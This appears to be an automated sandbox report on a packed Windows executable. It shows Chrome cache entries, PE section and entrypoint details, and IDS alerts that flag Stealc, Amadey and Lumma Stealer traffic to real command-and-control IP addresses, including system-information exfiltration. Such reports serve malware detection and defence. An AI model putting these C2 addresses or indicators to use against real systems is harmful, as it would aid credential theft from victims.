Preview:	.......E@..K..!....F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................(.@3P.........................

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2982)
Category:	downloaded
Size (bytes):	2987
Entropy (8bit):	5.841372229009177
Encrypted:	false
SSDEEP:	48:TNgV+KlgZ01iEIbx6666VuHnxEF4+yKdtYkGcnwHfZ7SrvVMGqJ3uO7FGl5nTpOn:BgVVli2IN6666Vwnx672kTnYfsLpq8Oj
MD5:	E5F9B764D7DDC6BB1E0B82A7D351DD93
SHA1:	D9FE58E5C84F186651E23E5F2E07742B226AF5D4
SHA-256:	51E637E45BCF8B14F439E568B2A7590E2B00180A64175E7F293378A0EFBC9A1A
SHA-512:	64AF47344F8C1B9A5426CF1847949530120F0816D30760A8A30FE2D21C31BC383B1955AA306CEFF8A0FCE3B9C3A57FE8F4830F7A173911BCC6887CCE85AD82DA
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["yellowstone prequel 1923 season 2","dallas cowboys","weather tropical storm sara","california ban motorhomes","half life 2 20th anniversary update","leonids meteor shower tonight","filip chytil injury","zodiac signs daily horoscope today"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CggvbS8wMjg5NhINRm9vdGJhbGwgdGVhbTLnC2RhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWJBQUFEQVFBREFRQUFBQUFBQUFBQUFBQURCQVVHQUFFQ0IvL0VBQzBRQUFJQkF3TUNCUU1FQXdBQUFBQUFBQUVDQXdBRUVRVVNJUk14QmlOQlVXRWlNbkVVTTBLUkZYS0MvOFFBR2dFQUF3QURBUUFBQUFBQUFBQUFBQUFBQW

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133042
Entropy (8bit):	5.434998811859671
Encrypted:	false
SSDEEP:	3072:frkPdsBJT7bKwkztS6STFSz1nrmOSnXYK02i6o:fEdUW5c5Sz1nKOSnoK08o
MD5:	D9B2AFAA147168147DF4CD589934517F
SHA1:	6757E53DAD7D581D568BBC94687D09DA1E64BDBF
SHA-256:	7A8E5066C7CE909DEA3F3777E07CD52269E1992688105A5696CC0914D78D9AE3
SHA-512:	8268A030862107733613905E010DA5750CBCCC81E3576E27C665C44FD8F7D4D6C84E82C622CD79C93E95A042EE295403CF074CF25DE1D1E1C7BCEDD99FC2452E
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945314814488274
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'829'376 bytes
MD5:	87d0a89cd6e89e8b816f7d1217369d01
SHA1:	5578e7a41949b2b84a492db02ec312a8c5d9bbf8
SHA256:	67f6bc35f167c485702ca21c48861aed2b2c1b92b5624c39daa33f47754bc70e
SHA512:	96bc86627eb223ae89d428ef0807771c479d35285f5608879725f9b03818f13f3c9a63a1f604e322695073be66e726539b468cfe966651fdfe0ccaea0cc89d81
SSDEEP:	49152:+GTEdyLtfUPc1t0SVCpxiwdbgfnVInJQLI/ap3:icLy0PmDenVIJQUSx
TLSH:	7185337BD4275966CCC7A7F102ADC5C8AEF163AD018743D6339E390D8BE1629BEB5408
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa6000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0A0CB31CAAh
bswap eax
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F0A0CB33CA5h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
aas
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], bl
add eax, 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	df911e0a4b75d7acf4e8fdaa01f5b38b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	5ccb4dd32fa34ba222b90a1589c72101	False	0.794921875	data	6.038652344492558	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b4000	0x200	c0bbc9ed5d45bc6e0e1f3e04ed967af4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
goeovovz	0x500000	0x1a5000	0x1a4c00	6f1ae51f33ca1dbb5a63a5b44e51e2da	False	0.9946651719399882	data	7.953917789562964	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wohpezlj	0x6a5000	0x1000	0x400	5fb24c06573d9c6d900e6547b73323be	False	0.8251953125	data	6.351924318225223	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a6000	0x3000	0x2200	8775e3cc5517792a94a33e7718a01e95	False	0.05514705882352941	DOS executable (COM)	0.5783176072405143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a4908	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-17T01:38:15.255991+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-17T01:38:15.542930+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-17T01:38:15.549130+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-17T01:38:15.830333+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-17T01:38:15.837011+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-17T01:38:16.937476+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-17T01:38:17.790276+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-17T01:38:45.484581+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	185.215.113.206	80	TCP
2024-11-17T01:38:48.882441+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	185.215.113.206	80	TCP
2024-11-17T01:38:50.790672+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	185.215.113.206	80	TCP
2024-11-17T01:38:51.811413+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	185.215.113.206	80	TCP
2024-11-17T01:38:53.939417+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	185.215.113.206	80	TCP
2024-11-17T01:38:54.562620+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49911	185.215.113.206	80	TCP
2024-11-17T01:38:58.832815+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	56852	185.215.113.16	80	TCP
2024-11-17T01:40:05.898477+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	56906	185.215.113.43	80	TCP
2024-11-17T01:40:09.254944+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	56908	185.215.113.16	80	TCP
2024-11-17T01:40:14.258148+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	56907	TCP
2024-11-17T01:40:14.528224+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	56909	188.114.96.3	443	TCP
2024-11-17T01:40:15.068329+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	56909	188.114.96.3	443	TCP
2024-11-17T01:40:15.068329+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	56909	188.114.96.3	443	TCP
2024-11-17T01:40:15.169299+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	56910	185.215.113.43	80	TCP
2024-11-17T01:40:15.765249+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	56911	188.114.96.3	443	TCP
2024-11-17T01:40:16.098261+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	56912	185.215.113.16	80	TCP
2024-11-17T01:40:16.266467+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	56911	188.114.96.3	443	TCP
2024-11-17T01:40:16.266467+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	56911	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 01:38:07.676866055 CET	49712	443	192.168.2.6	40.113.110.67
Nov 17, 2024 01:38:07.676915884 CET	443	49712	40.113.110.67	192.168.2.6
Nov 17, 2024 01:38:07.676981926 CET	49712	443	192.168.2.6	40.113.110.67
Nov 17, 2024 01:38:07.677594900 CET	49712	443	192.168.2.6	40.113.110.67
Nov 17, 2024 01:38:07.677611113 CET	443	49712	40.113.110.67	192.168.2.6
Nov 17, 2024 01:38:08.360181093 CET	49674	443	192.168.2.6	173.222.162.64
Nov 17, 2024 01:38:08.360265970 CET	49673	443	192.168.2.6	173.222.162.64
Nov 17, 2024 01:38:08.672637939 CET	49672	443	192.168.2.6	173.222.162.64
Nov 17, 2024 01:38:08.787405014 CET	443	49712	40.113.110.67	192.168.2.6
Nov 17, 2024 01:38:08.787570000 CET	49712	443	192.168.2.6	40.113.110.67
Nov 17, 2024 01:38:08.793992996 CET	49712	443	192.168.2.6	40.113.110.67
Nov 17, 2024 01:38:08.794018984 CET	443	49712	40.113.110.67	192.168.2.6
Nov 17, 2024 01:38:08.794274092 CET	443	49712	40.113.110.67	192.168.2.6
Nov 17, 2024 01:38:08.796329975 CET	49712	443	192.168.2.6	40.113.110.67
Nov 17, 2024 01:38:08.796329975 CET	49712	443	192.168.2.6	40.113.110.67
Nov 17, 2024 01:38:08.796350002 CET	443	49712	40.113.110.67	192.168.2.6
Nov 17, 2024 01:38:08.796456099 CET	49712	443	192.168.2.6	40.113.110.67
Nov 17, 2024 01:38:08.839342117 CET	443	49712	40.113.110.67	192.168.2.6
Nov 17, 2024 01:38:09.045392036 CET	443	49712	40.113.110.67	192.168.2.6
Nov 17, 2024 01:38:09.045841932 CET	49712	443	192.168.2.6	40.113.110.67
Nov 17, 2024 01:38:09.045841932 CET	49712	443	192.168.2.6	40.113.110.67
Nov 17, 2024 01:38:09.045860052 CET	443	49712	40.113.110.67	192.168.2.6
Nov 17, 2024 01:38:09.045907974 CET	49712	443	192.168.2.6	40.113.110.67
